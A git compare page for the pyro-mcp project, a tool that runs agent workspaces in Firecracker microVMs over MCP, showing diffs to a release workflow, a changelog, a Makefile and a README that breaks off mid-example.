Compare commits
49 commits
| Author | SHA1 | Date | |
|---|---|---|---|
| aeed5e1943 | |||
| 663241d5d2 | |||
| d0cf6d8f21 | |||
| dc86d84e96 | |||
| 899a6760c4 | |||
| 535efc6919 | |||
| 9b9b83ebeb | |||
| 999fe1b23a | |||
| 6433847185 | |||
| 386b9793ee | |||
| c00c699a9f | |||
| 68d8e875e0 | |||
| 79a7d71d3b | |||
| cc5f566bcc | |||
| d05fba6c15 | |||
| 22d284b1f5 | |||
| 407c805ce2 | |||
| 7a0620fc0c | |||
| 788fc4fad4 | |||
| 894706af50 | |||
| 21a88312b6 | |||
| eecfd7a7d7 | |||
| 446f7fce04 | |||
| ab02ae46c7 | |||
| dbb71a3174 | |||
| 287f6d100f | |||
| f2d20ef30a | |||
| c82f4629b2 | |||
| fc72fcd3a1 | |||
| 18b8fd2a7d | |||
| f504f0a331 | |||
| 84a7e18d4d | |||
| 3f8293ad24 | |||
| 2de31306b6 | |||
| 48b82d8386 | |||
| f57454bcb4 | |||
| dccc2152e3 | |||
| 9e11dcf9ab | |||
| aa886b346e | |||
| 58df176148 | |||
| 6e16e74fd5 | |||
| 694be0730b | |||
| 81636e86fb | |||
| 0181de2563 | |||
| 895cb608c0 | |||
| be654b5b41 | |||
| b2ea56db4c | |||
| 38b6aeba68 | |||
| 5d63e4c16e |
125 changed files with 36172 additions and 780 deletions
45
.github/workflows/publish-environments.yml
vendored
45
.github/workflows/publish-environments.yml
vendored
|
|
@ -1,45 +0,0 @@
|
|||
name: Publish Environments
|
||||
|
||||
on:
|
||||
workflow_dispatch:
|
||||
release:
|
||||
types:
|
||||
- published
|
||||
|
||||
permissions:
|
||||
contents: read
|
||||
|
||||
concurrency:
|
||||
group: publish-environments-${{ github.ref }}
|
||||
cancel-in-progress: false
|
||||
|
||||
jobs:
|
||||
publish:
|
||||
runs-on: ubuntu-24.04
|
||||
env:
|
||||
UV_CACHE_DIR: .uv-cache
|
||||
OCI_REGISTRY_USERNAME: ${{ secrets.DOCKERHUB_USERNAME }}
|
||||
OCI_REGISTRY_PASSWORD: ${{ secrets.DOCKERHUB_TOKEN }}
|
||||
steps:
|
||||
- name: Check out source
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: Set up Python
|
||||
uses: actions/setup-python@v5
|
||||
with:
|
||||
python-version: "3.12"
|
||||
|
||||
- name: Set up uv
|
||||
uses: astral-sh/setup-uv@v6
|
||||
|
||||
- name: Install project dependencies
|
||||
run: make setup
|
||||
|
||||
- name: Run project checks
|
||||
run: make check
|
||||
|
||||
- name: Build real runtime inputs
|
||||
run: make runtime-materialize
|
||||
|
||||
- name: Publish official environments to Docker Hub
|
||||
run: make runtime-publish-official-environments-oci
|
||||
|
|
@ -30,10 +30,11 @@ This repository ships `pyro-mcp`, an MCP-compatible package for ephemeral VM lif
|
|||
- Use `make doctor` to inspect bundled runtime integrity and host prerequisites.
|
||||
- Network-enabled flows require host privilege for TAP/NAT setup; the current implementation uses `sudo -n` for `ip`, `nft`, and `iptables` when available.
|
||||
- If you need full log payloads from the Ollama demo, use `make ollama-demo OLLAMA_DEMO_FLAGS=-v`.
|
||||
- `pyro run` now defaults to `1 vCPU / 1024 MiB`, human-readable output, and fail-closed guest execution unless `--allow-host-compat` is passed.
|
||||
- After heavy runtime work, reclaim local space with `rm -rf build` and `git lfs prune`.
|
||||
- The pre-migration `pre-lfs-*` tag is local backup material only; do not push it or it will keep the old giant blobs reachable.
|
||||
- Public contract documentation lives in `docs/public-contract.md`.
|
||||
- Official Docker Hub publication workflow lives in `.github/workflows/publish-environments.yml`.
|
||||
- Official Docker Hub publication is performed locally with `make runtime-publish-official-environments-oci`.
|
||||
|
||||
## Quality Gates
|
||||
|
||||
|
|
|
|||
328
CHANGELOG.md
Normal file
328
CHANGELOG.md
Normal file
|
|
@ -0,0 +1,328 @@
|
|||
# Changelog
|
||||
|
||||
All notable user-visible changes to `pyro-mcp` are documented here.
|
||||
|
||||
## 4.5.0
|
||||
|
||||
- Added `pyro prepare` as the machine-level warmup path for the daily local
|
||||
loop, with cached reuse when the runtime, catalog, and environment state are
|
||||
already warm.
|
||||
- Extended `pyro doctor` with daily-loop readiness output so users can see
|
||||
whether the machine is cold, warm, or stale for `debian:12` before they
|
||||
reconnect a chat host.
|
||||
- Added `make smoke-daily-loop` to prove the warmed repro/fix/reset path end
|
||||
to end on a real guest-backed machine.
|
||||
|
||||
## 4.4.0
|
||||
|
||||
- Added explicit named MCP/server modes for the main workspace workflows:
|
||||
`repro-fix`, `inspect`, `cold-start`, and `review-eval`.
|
||||
- Kept the generic no-mode `workspace-core` path available as the escape hatch,
|
||||
while making named modes the first user-facing story across help text, host
|
||||
helpers, and the recipe docs.
|
||||
- Aligned the shared use-case smoke runner with those modes so the repro/fix
|
||||
and cold-start flows now prove a mode-backed happy path instead of only the
|
||||
generic profile path.
|
||||
|
||||
## 4.3.0
|
||||
|
||||
- Added `pyro workspace summary`, `Pyro.summarize_workspace()`, and MCP
|
||||
`workspace_summary` so users and chat hosts can review a concise view of the
|
||||
current workspace session since the last reset.
|
||||
- Added a lightweight review-event log for edits, syncs, exports, service
|
||||
lifecycle, and snapshot activity without duplicating the command journal.
|
||||
- Updated the main workspace walkthroughs and review/eval recipe so
|
||||
`workspace summary` is the first review surface before dropping down to raw
|
||||
diffs, logs, and exported files.
|
||||
|
||||
## 4.2.0
|
||||
|
||||
- Added host bootstrap and repair helpers with `pyro host connect`,
|
||||
`pyro host print-config`, `pyro host doctor`, and `pyro host repair` for the
|
||||
supported Claude Code, Codex, and OpenCode flows.
|
||||
- Repositioned the docs and examples so supported hosts now start from the
|
||||
helper flow first, while keeping raw `pyro mcp serve` commands as the
|
||||
underlying MCP entrypoint and advanced fallback.
|
||||
- Added deterministic host-helper coverage so the shipped helper commands and
|
||||
OpenCode config snippet stay aligned with the canonical `pyro mcp serve`
|
||||
command shape.
|
||||
|
||||
## 4.1.0
|
||||
|
||||
- Added project-aware MCP startup so bare `pyro mcp serve` from a repo root can
|
||||
auto-detect the current Git checkout and let `workspace_create` omit
|
||||
`seed_path` safely.
|
||||
- Added explicit fallback startup flags for chat hosts that do not preserve the
|
||||
server working directory: `--project-path`, `--repo-url`, `--repo-ref`, and
|
||||
`--no-project-source`.
|
||||
- Extended workspace seed metadata with startup origin fields so chat-facing
|
||||
workspace creation can show whether a workspace came from a manual seed path,
|
||||
the current project, or a clean cloned repo source.
|
||||
|
||||
## 4.0.0
|
||||
|
||||
- Flipped the default MCP/server profile from `workspace-full` to
|
||||
`workspace-core`, so bare `pyro mcp serve`, `create_server()`, and
|
||||
`Pyro.create_server()` now match the recommended narrow chat-host path.
|
||||
- Rewrote MCP-facing docs and shipped host-specific examples so the normal
|
||||
setup path no longer needs an explicit `--profile workspace-core` just to
|
||||
get the default behavior.
|
||||
- Added migration guidance for hosts that relied on the previous implicit full
|
||||
surface: they now need `--profile workspace-full` or
|
||||
`create_server(profile=\"workspace-full\")`.
|
||||
## 3.11.0
|
||||
|
||||
- Added first-class host-specific MCP onramps for Claude Code, Codex, and
|
||||
OpenCode so major chat-host users can copy one exact setup example instead of
|
||||
translating the generic MCP config by hand.
|
||||
- Reordered the main integration docs and examples so host-specific MCP setup
|
||||
appears before the generic `mcpServers` fallback, while keeping
|
||||
`workspace-core` as the recommended first profile everywhere user-facing.
|
||||
- Kept Claude Desktop and Cursor as generic fallback examples instead of the
|
||||
primary onramp path.
|
||||
|
||||
## 3.10.0
|
||||
|
||||
- Aligned the five guest-backed workspace smoke scenarios with the recipe docs
|
||||
they advertise, so the smoke pack now follows the documented canonical user
|
||||
paths instead of mixing in harness-only CLI formatting checks.
|
||||
- Fixed the repro-plus-fix smoke to use the structured SDK patch flow directly,
|
||||
removing its dependency on brittle human `[workspace-patch] ...` output.
|
||||
- Promoted `make smoke-use-cases` in the docs as the trustworthy guest-backed
|
||||
verification path for the advertised workspace workflows.
|
||||
|
||||
## 3.9.0
|
||||
|
||||
- Added `--content-only` to `pyro workspace file read` and
|
||||
`pyro workspace disk read` so copy-paste flows and chat transcripts can emit
|
||||
only file content without the human summary footer.
|
||||
- Polished default human read output so content without a trailing newline is
|
||||
still separated cleanly from the summary line in merged terminal logs.
|
||||
- Updated the stable walkthroughs and contract docs to use content-only reads
|
||||
where plain file content is the intended output.
|
||||
|
||||
## 3.8.0
|
||||
|
||||
- Repositioned the MCP/chat-host onramp so `workspace-core` is clearly the
|
||||
recommended first profile across `pyro mcp serve --help`, the README, install
|
||||
docs, first-run docs, and shipped MCP config examples.
|
||||
- Kept `workspace-full` as the default for `3.x` compatibility, but rewrote the
|
||||
public guidance to frame it as the advanced/compatibility surface instead of
|
||||
the default recommendation.
|
||||
- Promoted the `workspace-core` OpenAI example and added a minimal chat-host
|
||||
quickstart near the top-level product docs so new integrators no longer need
|
||||
to read deep integration docs before choosing the right profile.
|
||||
|
||||
## 3.7.0
|
||||
|
||||
- Added CLI handoff shortcuts with `pyro workspace create --id-only` and
|
||||
`pyro workspace shell open --id-only` so shell scripts and walkthroughs can
|
||||
capture identifiers without JSON parsing glue.
|
||||
- Added file-backed text inputs for `pyro workspace file write --text-file` and
|
||||
`pyro workspace patch apply --patch-file`, keeping the existing `--text` and
|
||||
`--patch` behavior stable while removing `$(cat ...)` shell expansion from
|
||||
the canonical flows.
|
||||
- Rewrote the top workspace walkthroughs, CLI help examples, and roadmap/docs
|
||||
around the new shortcut flags, and updated the real guest-backed repro/fix
|
||||
smoke to exercise a file-backed patch input through the CLI.
|
||||
|
||||
## 3.6.0
|
||||
|
||||
- Added `docs/use-cases/` with five concrete workspace recipes for cold-start validation,
|
||||
repro-plus-fix loops, parallel workspaces, untrusted inspection, and review/eval workflows.
|
||||
- Added real guest-backed smoke packs for those stories with `make smoke-use-cases` plus one
|
||||
`make smoke-...` target per scenario, all backed by the shared
|
||||
`scripts/workspace_use_case_smoke.py` runner.
|
||||
- Updated the main docs so the stable workspace walkthrough now points directly at the recipe set
|
||||
and the smoke packs as the next step after first-run validation.
|
||||
|
||||
## 3.5.0
|
||||
|
||||
- Added chat-friendly shell reads with `--plain` and `--wait-for-idle-ms` across the CLI,
|
||||
Python SDK, and MCP server so PTY sessions can be fed back into a chat model without
|
||||
client-side ANSI cleanup.
|
||||
- Kept raw cursor-based shell reads intact for advanced clients while adding manager-side
|
||||
output rendering and idle batching on top of the existing guest/backend shell transport.
|
||||
- Updated the stable shell examples and docs to recommend `workspace shell read --plain
|
||||
--wait-for-idle-ms 300` for model-facing interactive loops.
|
||||
|
||||
## 3.4.0
|
||||
|
||||
- Added stable MCP/server tool profiles with `vm-run`, `workspace-core`, and
|
||||
`workspace-full` so chat hosts can expose only the right model-facing surface.
|
||||
- Added `--profile` to `pyro mcp serve` plus matching `profile=` support on
|
||||
`Pyro.create_server()` and the package-level `create_server()` factory.
|
||||
- Added canonical `workspace-core` integration examples for OpenAI Responses
|
||||
and MCP client configuration, and narrowed the `workspace-core` schemas so
|
||||
secrets, network policy, shells, services, snapshots, and disk tools stay out
|
||||
of the default persistent chat profile.
|
||||
|
||||
## 3.3.0
|
||||
|
||||
- Added first-class workspace naming and discovery across the CLI, Python SDK, and MCP server
|
||||
with `pyro workspace create --name/--label`, `pyro workspace list`, `pyro workspace update`,
|
||||
`Pyro.list_workspaces()`, `Pyro.update_workspace()`, and the matching `workspace_list` /
|
||||
`workspace_update` MCP tools.
|
||||
- Added persisted `name`, key/value `labels`, and `last_activity_at` metadata to workspace create,
|
||||
status, reset, and update payloads, and surfaced compact workspace summaries from
|
||||
`workspace list`.
|
||||
- Tracked `last_activity_at` on real workspace mutations so humans and chat-driven agents can
|
||||
resume the most recently used workspace without managing opaque IDs out of band.
|
||||
|
||||
## 3.2.0
|
||||
|
||||
- Added model-native live workspace file operations across the CLI, Python SDK, and MCP server
|
||||
with `workspace file list|read|write` so agents can inspect and edit text files without shell
|
||||
quoting tricks or host-side temp-file glue.
|
||||
- Added `workspace patch apply` for explicit unified text diff application under `/workspace`,
|
||||
with supported add/modify/delete patch forms and clear recovery guidance via `workspace reset`.
|
||||
- Kept file operations scoped to started workspaces and `/workspace`, while preserving the existing
|
||||
diff/export/snapshot/service/shell model around the stable workspace product.
|
||||
|
||||
## 3.1.0
|
||||
|
||||
- Added explicit workspace lifecycle stop/start operations across the CLI, Python SDK, and MCP
|
||||
server so a persistent workspace can be paused and resumed without resetting `/workspace`,
|
||||
snapshots, or command history.
|
||||
- Added secondary stopped-workspace disk tools with raw ext4 export plus offline `disk list` and
|
||||
`disk read` inspection for guest-backed workspaces.
|
||||
- Scrubbed guest runtime-only paths such as `/run/pyro-secrets`, `/run/pyro-shells`, and
|
||||
`/run/pyro-services` before stopped-workspace disk export and offline inspection so those tools
|
||||
stay secondary to the stable workspace product without leaking runtime-only state.
|
||||
|
||||
## 3.0.0
|
||||
|
||||
- Promoted the workspace-first product surface to stable across the CLI, Python SDK, and MCP
|
||||
server, with `pyro run` retained as the stable one-shot entrypoint.
|
||||
- Repositioned the main docs, help text, examples, and walkthrough assets around the stable
|
||||
workspace path: create, sync, exec or shell, services, snapshots/reset, diff/export, and
|
||||
delete.
|
||||
- Froze the `3.x` public contract around the current workspace surface without introducing new
|
||||
runtime capability in this release.
|
||||
|
||||
## 2.10.0
|
||||
|
||||
- Replaced the workspace-level boolean network toggle with explicit workspace network policies:
|
||||
`off`, `egress`, and `egress+published-ports`.
|
||||
- Added localhost-only published TCP ports for workspace services across the CLI, Python SDK, and
|
||||
MCP server, including returned host/guest port metadata on service start, list, and status.
|
||||
- Kept published ports attached to services rather than `/workspace` itself, so host probing works
|
||||
without changing workspace diff, export, shell, or reset semantics.
|
||||
|
||||
## 2.9.0
|
||||
|
||||
- Added explicit workspace secrets across the CLI, Python SDK, and MCP server with
|
||||
`pyro workspace create --secret/--secret-file`, `Pyro.create_workspace(..., secrets=...)`, and
|
||||
the matching `workspace_create` MCP inputs.
|
||||
- Added per-call secret-to-environment mapping for `workspace exec`, `workspace shell open`, and
|
||||
`workspace service start`, with secret values redacted from command output, shell reads, service
|
||||
logs, and persisted workspace logs.
|
||||
- Kept secret-backed workspaces guest-only and fail-closed while re-materializing persisted secret
|
||||
files outside `/workspace` across workspace creation and reset.
|
||||
|
||||
## 2.8.0
|
||||
|
||||
- Added explicit named workspace snapshots across the CLI, Python SDK, and MCP server with
|
||||
`pyro workspace snapshot *`, `Pyro.create_snapshot()` / `list_snapshots()` /
|
||||
`delete_snapshot()`, and the matching `snapshot_*` MCP tools.
|
||||
- Added `pyro workspace reset` and `Pyro.reset_workspace()` so a workspace can recreate its full
|
||||
sandbox from the immutable baseline or one named snapshot while keeping the same identity.
|
||||
- Made reset a full-sandbox recovery path that clears command history, shells, and services while
|
||||
preserving the workspace spec, named snapshots, and immutable baseline.
|
||||
|
||||
## 2.7.0
|
||||
|
||||
- Added first-class workspace services across the CLI, Python SDK, and MCP server with
|
||||
`pyro workspace service *`, `Pyro.start_service()` / `list_services()` / `status_service()` /
|
||||
`logs_service()` / `stop_service()`, and the matching `service_*` MCP tools.
|
||||
- Added typed readiness probes for workspace services with file, TCP, HTTP, and command checks so
|
||||
long-running processes can be started and inspected without relying on shell-fragile flows.
|
||||
- Kept service state and logs outside `/workspace`, and surfaced aggregate service counts from
|
||||
`workspace status` without polluting workspace diff or export semantics.
|
||||
|
||||
## 2.6.0
|
||||
|
||||
- Added explicit host-out workspace operations across the CLI, Python SDK, and MCP server with
|
||||
`pyro workspace export`, `Pyro.export_workspace()`, `pyro workspace diff`,
|
||||
`Pyro.diff_workspace()`, and the matching `workspace_export` / `workspace_diff` MCP tools.
|
||||
- Captured an immutable create-time baseline for every new workspace so later `workspace diff`
|
||||
compares the live `/workspace` tree against that original seed state.
|
||||
- Kept export and diff separate from command execution and shell state so workspaces can mutate,
|
||||
be inspected, and copy results back to the host without affecting command logs or shell sessions.
|
||||
|
||||
## 2.5.0
|
||||
|
||||
- Added persistent PTY shell sessions across the CLI, Python SDK, and MCP server with
|
||||
`pyro workspace shell *`, `Pyro.open_shell()` / `read_shell()` / `write_shell()` /
|
||||
`signal_shell()` / `close_shell()`, and `shell_*` MCP tools.
|
||||
- Kept interactive shells separate from `workspace exec`, with cursor-based merged output reads
|
||||
and explicit close/signal operations for long-lived workspace sessions.
|
||||
- Updated the bundled guest agent and mock backend so shell sessions persist across separate
|
||||
calls and are cleaned up automatically by `workspace delete`.
|
||||
|
||||
## 2.4.0
|
||||
|
||||
- Replaced the public persistent-workspace surface from `task_*` to `workspace_*` across the CLI,
|
||||
Python SDK, and MCP server in one clean cut with no compatibility aliases.
|
||||
- Renamed create-time seeding from `source_path` to `seed_path` for workspace creation while keeping
|
||||
later `workspace sync push` imports on `source_path`.
|
||||
- Switched persisted local records from `tasks/*/task.json` to `workspaces/*/workspace.json` and
|
||||
updated the main docs/examples to the workspace-first language.
|
||||
|
||||
## 2.3.0
|
||||
|
||||
- Added `task sync push` across the CLI, Python SDK, and MCP server so started task workspaces can
|
||||
import later host-side directory or archive content without being recreated.
|
||||
- Reused the existing safe archive import path with an explicit destination under `/workspace`,
|
||||
including host-side and guest-backed task support.
|
||||
- Documented sync as a non-atomic update path in `2.3.0`, with delete-and-recreate as the recovery
|
||||
path if a sync fails partway through.
|
||||
|
||||
## 2.2.0
|
||||
|
||||
- Added seeded task creation across the CLI, Python SDK, and MCP server with an optional
|
||||
`source_path` for host directories and `.tar` / `.tar.gz` / `.tgz` archives.
|
||||
- Seeded task workspaces now persist `workspace_seed` metadata so later status calls report how
|
||||
`/workspace` was initialized.
|
||||
- Reused the task workspace model from `2.1.0` while adding the first explicit host-to-task
|
||||
content import path for repeated command workflows.
|
||||
|
||||
## 2.1.0
|
||||
|
||||
- Added the first persistent task workspace alpha across the CLI, Python SDK, and MCP server.
|
||||
- Shipped `task create`, `task exec`, `task status`, `task logs`, and `task delete` as an additive
|
||||
surface alongside the existing one-shot VM contract.
|
||||
- Made task workspaces persistent across separate CLI/SDK/MCP processes by storing task records on
|
||||
disk under the runtime base directory.
|
||||
- Added per-task command journaling so repeated workspace commands can be inspected through
|
||||
`pyro task logs` or the matching SDK/MCP methods.
|
||||
|
||||
## 2.0.1
|
||||
|
||||
- Fixed the default `pyro env pull` path so empty local profile directories no longer produce
|
||||
broken cached installs or contradictory "Pulled" / "not installed" states.
|
||||
- Hardened cache inspection and repair so broken environment symlinks are treated as uninstalled
|
||||
and repaired on the next pull.
|
||||
- Added human-mode phase markers for `pyro env pull` and `pyro run` to make longer guest flows
|
||||
easier to follow from the CLI.
|
||||
- Corrected the Python lifecycle example and docs to match the current `exec_vm` / `vm_exec`
|
||||
auto-clean semantics.
|
||||
|
||||
## 2.0.0
|
||||
|
||||
- Made guest execution fail closed by default; host compatibility execution now requires
|
||||
explicit opt-in with `--allow-host-compat` or `allow_host_compat=True`.
|
||||
- Switched the main CLI commands to human-readable output by default and kept `--json`
|
||||
for structured output.
|
||||
- Added default sizing of `1 vCPU / 1024 MiB` across the CLI, Python SDK, and MCP tools.
|
||||
- Unified environment cache resolution across `pyro`, `Pyro`, and `pyro doctor`.
|
||||
- Kept the stable environment-first contract centered on `vm_run`, `pyro run`, and
|
||||
curated OCI-published environments.
|
||||
|
||||
## 1.0.0
|
||||
|
||||
- Shipped the first stable public `pyro` CLI, `Pyro` SDK, and MCP server contract.
|
||||
- Replaced the old bundled-profile model with curated named environments.
|
||||
- Switched distribution to a thin Python package plus official OCI environment artifacts.
|
||||
- Published the initial official environment catalog on public Docker Hub.
|
||||
- Added first-party environment pull, inspect, prune, and one-shot run flows.
|
||||
56
Makefile
56
Makefile
|
|
@ -1,5 +1,7 @@
|
|||
PYTHON ?= uv run python
|
||||
UV_CACHE_DIR ?= .uv-cache
|
||||
PYTEST_WORKERS ?= $(shell sh -c 'n=$$(getconf _NPROCESSORS_ONLN 2>/dev/null || nproc 2>/dev/null || echo 2); if [ "$$n" -gt 8 ]; then n=8; fi; if [ "$$n" -lt 2 ]; then echo 1; else echo $$n; fi')
|
||||
PYTEST_FLAGS ?= -n $(PYTEST_WORKERS)
|
||||
OLLAMA_BASE_URL ?= http://localhost:11434/v1
|
||||
OLLAMA_MODEL ?= llama3.2:3b
|
||||
OLLAMA_DEMO_FLAGS ?=
|
||||
|
|
@ -14,8 +16,11 @@ RUNTIME_ENVIRONMENTS ?= debian:12-base debian:12 debian:12-build
|
|||
PYPI_DIST_DIR ?= dist
|
||||
TWINE_USERNAME ?= __token__
|
||||
PYPI_REPOSITORY_URL ?=
|
||||
USE_CASE_ENVIRONMENT ?= debian:12
|
||||
USE_CASE_SMOKE_FLAGS ?=
|
||||
DAILY_LOOP_ENVIRONMENT ?= debian:12
|
||||
|
||||
.PHONY: help setup lint format typecheck test check dist-check pypi-publish demo network-demo doctor ollama ollama-demo run-server install-hooks runtime-bundle runtime-binaries runtime-kernel runtime-rootfs runtime-agent runtime-validate runtime-manifest runtime-sync runtime-clean runtime-fetch-binaries runtime-build-kernel-real runtime-build-rootfs-real runtime-materialize runtime-export-environment-oci runtime-export-official-environments-oci runtime-publish-environment-oci runtime-publish-official-environments-oci runtime-boot-check runtime-network-check
|
||||
.PHONY: help setup lint format typecheck test check dist-check pypi-publish demo network-demo doctor ollama ollama-demo run-server install-hooks smoke-daily-loop smoke-use-cases smoke-cold-start-validation smoke-repro-fix-loop smoke-parallel-workspaces smoke-untrusted-inspection smoke-review-eval runtime-bundle runtime-binaries runtime-kernel runtime-rootfs runtime-agent runtime-validate runtime-manifest runtime-sync runtime-clean runtime-fetch-binaries runtime-build-kernel-real runtime-build-rootfs-real runtime-materialize runtime-export-environment-oci runtime-export-official-environments-oci runtime-publish-environment-oci runtime-publish-official-environments-oci runtime-boot-check runtime-network-check
|
||||
|
||||
help:
|
||||
@printf '%s\n' \
|
||||
|
|
@ -25,13 +30,20 @@ help:
|
|||
' lint Run Ruff lint checks' \
|
||||
' format Run Ruff formatter' \
|
||||
' typecheck Run mypy' \
|
||||
' test Run pytest' \
|
||||
' test Run pytest in parallel when multiple cores are available' \
|
||||
' check Run lint, typecheck, and tests' \
|
||||
' dist-check Smoke-test the installed pyro CLI and environment UX' \
|
||||
' pypi-publish Build, validate, and upload the package to PyPI' \
|
||||
' demo Run the deterministic VM demo' \
|
||||
' network-demo Run the deterministic VM demo with guest networking enabled' \
|
||||
' doctor Show runtime and host diagnostics' \
|
||||
' smoke-daily-loop Run the real guest-backed prepare plus reset daily-loop smoke' \
|
||||
' smoke-use-cases Run all real guest-backed workspace use-case smokes' \
|
||||
' smoke-cold-start-validation Run the cold-start repo validation smoke' \
|
||||
' smoke-repro-fix-loop Run the repro-plus-fix loop smoke' \
|
||||
' smoke-parallel-workspaces Run the parallel isolated workspaces smoke' \
|
||||
' smoke-untrusted-inspection Run the unsafe or untrusted inspection smoke' \
|
||||
' smoke-review-eval Run the review and evaluation workflow smoke' \
|
||||
' ollama-demo Run the network-enabled Ollama lifecycle demo' \
|
||||
' run-server Run the MCP server' \
|
||||
' install-hooks Install pre-commit hooks' \
|
||||
|
|
@ -68,18 +80,21 @@ typecheck:
|
|||
uv run mypy
|
||||
|
||||
test:
|
||||
uv run pytest
|
||||
uv run pytest $(PYTEST_FLAGS)
|
||||
|
||||
check: lint typecheck test
|
||||
|
||||
dist-check:
|
||||
.venv/bin/pyro --version
|
||||
.venv/bin/pyro --help >/dev/null
|
||||
.venv/bin/pyro mcp --help >/dev/null
|
||||
.venv/bin/pyro run --help >/dev/null
|
||||
.venv/bin/pyro env list >/dev/null
|
||||
.venv/bin/pyro env inspect debian:12 >/dev/null
|
||||
.venv/bin/pyro doctor >/dev/null
|
||||
uv run python -m pyro_mcp.cli --version
|
||||
uv run python -m pyro_mcp.cli --help >/dev/null
|
||||
uv run python -m pyro_mcp.cli prepare --help >/dev/null
|
||||
uv run python -m pyro_mcp.cli host --help >/dev/null
|
||||
uv run python -m pyro_mcp.cli host doctor >/dev/null
|
||||
uv run python -m pyro_mcp.cli mcp --help >/dev/null
|
||||
uv run python -m pyro_mcp.cli run --help >/dev/null
|
||||
uv run python -m pyro_mcp.cli env list >/dev/null
|
||||
uv run python -m pyro_mcp.cli env inspect debian:12 >/dev/null
|
||||
uv run python -m pyro_mcp.cli doctor --environment debian:12 >/dev/null
|
||||
|
||||
pypi-publish:
|
||||
@if [ -z "$$TWINE_PASSWORD" ]; then \
|
||||
|
|
@ -104,6 +119,27 @@ network-demo:
|
|||
doctor:
|
||||
uv run pyro doctor
|
||||
|
||||
smoke-daily-loop:
|
||||
uv run python scripts/daily_loop_smoke.py --environment "$(DAILY_LOOP_ENVIRONMENT)"
|
||||
|
||||
smoke-use-cases:
|
||||
uv run python scripts/workspace_use_case_smoke.py --scenario all --environment "$(USE_CASE_ENVIRONMENT)" $(USE_CASE_SMOKE_FLAGS)
|
||||
|
||||
smoke-cold-start-validation:
|
||||
uv run python scripts/workspace_use_case_smoke.py --scenario cold-start-validation --environment "$(USE_CASE_ENVIRONMENT)" $(USE_CASE_SMOKE_FLAGS)
|
||||
|
||||
smoke-repro-fix-loop:
|
||||
uv run python scripts/workspace_use_case_smoke.py --scenario repro-fix-loop --environment "$(USE_CASE_ENVIRONMENT)" $(USE_CASE_SMOKE_FLAGS)
|
||||
|
||||
smoke-parallel-workspaces:
|
||||
uv run python scripts/workspace_use_case_smoke.py --scenario parallel-workspaces --environment "$(USE_CASE_ENVIRONMENT)" $(USE_CASE_SMOKE_FLAGS)
|
||||
|
||||
smoke-untrusted-inspection:
|
||||
uv run python scripts/workspace_use_case_smoke.py --scenario untrusted-inspection --environment "$(USE_CASE_ENVIRONMENT)" $(USE_CASE_SMOKE_FLAGS)
|
||||
|
||||
smoke-review-eval:
|
||||
uv run python scripts/workspace_use_case_smoke.py --scenario review-eval --environment "$(USE_CASE_ENVIRONMENT)" $(USE_CASE_SMOKE_FLAGS)
|
||||
|
||||
ollama: ollama-demo
|
||||
|
||||
ollama-demo:
|
||||
|
|
|
|||
411
README.md
411
README.md
|
|
@ -1,37 +1,255 @@
|
|||
# pyro-mcp
|
||||
|
||||
`pyro-mcp` runs commands inside ephemeral Firecracker microVMs using curated Linux environments such as `debian:12`.
|
||||
`pyro-mcp` is a disposable MCP workspace for chat-based coding agents such as
|
||||
Claude Code, Codex, and OpenCode.
|
||||
|
||||
It exposes the same runtime in three public forms:
|
||||
It is built for Linux `x86_64` hosts with working KVM. The product path is:
|
||||
|
||||
- the `pyro` CLI
|
||||
- the Python SDK via `from pyro_mcp import Pyro`
|
||||
- an MCP server so LLM clients can call VM tools directly
|
||||
1. prove the host works
|
||||
2. connect a chat host over MCP
|
||||
3. let the agent work inside a disposable workspace
|
||||
4. validate the workflow with the recipe-backed smoke pack
|
||||
|
||||
`pyro-mcp` currently has no users. Expect breaking changes while this chat-host
|
||||
path is still being shaped.
|
||||
|
||||
This repo is not trying to be a generic VM toolkit, a CI runner, or an
|
||||
SDK-first platform.
|
||||
|
||||
[](https://pypi.org/project/pyro-mcp/)
|
||||
|
||||
## Start Here
|
||||
|
||||
- Install: [docs/install.md](docs/install.md)
|
||||
- Host requirements: [docs/host-requirements.md](docs/host-requirements.md)
|
||||
- Integration targets: [docs/integrations.md](docs/integrations.md)
|
||||
- Install and zero-to-hero path: [docs/install.md](docs/install.md)
|
||||
- First run transcript: [docs/first-run.md](docs/first-run.md)
|
||||
- Chat host integrations: [docs/integrations.md](docs/integrations.md)
|
||||
- Use-case recipes: [docs/use-cases/README.md](docs/use-cases/README.md)
|
||||
- Vision: [docs/vision.md](docs/vision.md)
|
||||
- Public contract: [docs/public-contract.md](docs/public-contract.md)
|
||||
- Host requirements: [docs/host-requirements.md](docs/host-requirements.md)
|
||||
- Troubleshooting: [docs/troubleshooting.md](docs/troubleshooting.md)
|
||||
- Stable workspace walkthrough GIF: [docs/assets/workspace-first-run.gif](docs/assets/workspace-first-run.gif)
|
||||
- Terminal walkthrough GIF: [docs/assets/first-run.gif](docs/assets/first-run.gif)
|
||||
- What's new in 4.5.0: [CHANGELOG.md#450](CHANGELOG.md#450)
|
||||
- PyPI package: [pypi.org/project/pyro-mcp](https://pypi.org/project/pyro-mcp/)
|
||||
|
||||
## Public UX
|
||||
## Who It's For
|
||||
|
||||
Primary install/run path:
|
||||
- Claude Code users who want disposable workspaces instead of running directly
|
||||
on the host
|
||||
- Codex users who want an MCP-backed sandbox for repo setup, bug fixing, and
|
||||
evaluation loops
|
||||
- OpenCode users who want the same disposable workspace model
|
||||
- people evaluating repo setup, test, and app-start workflows from a chat
|
||||
interface on a clean machine
|
||||
|
||||
If you want a general VM platform, a queueing system, or a broad SDK product,
|
||||
this repo is intentionally biased away from that story.
|
||||
|
||||
## Quickstart
|
||||
|
||||
Use either of these equivalent quickstart paths:
|
||||
|
||||
```bash
|
||||
# Package without install
|
||||
python -m pip install uv
|
||||
uvx --from pyro-mcp pyro doctor
|
||||
uvx --from pyro-mcp pyro prepare debian:12
|
||||
uvx --from pyro-mcp pyro run debian:12 -- git --version
|
||||
```
|
||||
|
||||

|
||||
|
||||
```bash
|
||||
# Already installed
|
||||
pyro doctor
|
||||
pyro prepare debian:12
|
||||
pyro run debian:12 -- git --version
|
||||
```
|
||||
|
||||
From a repo checkout, replace `pyro` with `uv run pyro`.
|
||||
|
||||
What success looks like:
|
||||
|
||||
```bash
|
||||
Platform: linux-x86_64
|
||||
Runtime: PASS
|
||||
Catalog version: 4.4.0
|
||||
...
|
||||
[pull] phase=install environment=debian:12
|
||||
[pull] phase=ready environment=debian:12
|
||||
Pulled: debian:12
|
||||
...
|
||||
[run] phase=create environment=debian:12
|
||||
[run] phase=start vm_id=...
|
||||
[run] phase=execute vm_id=...
|
||||
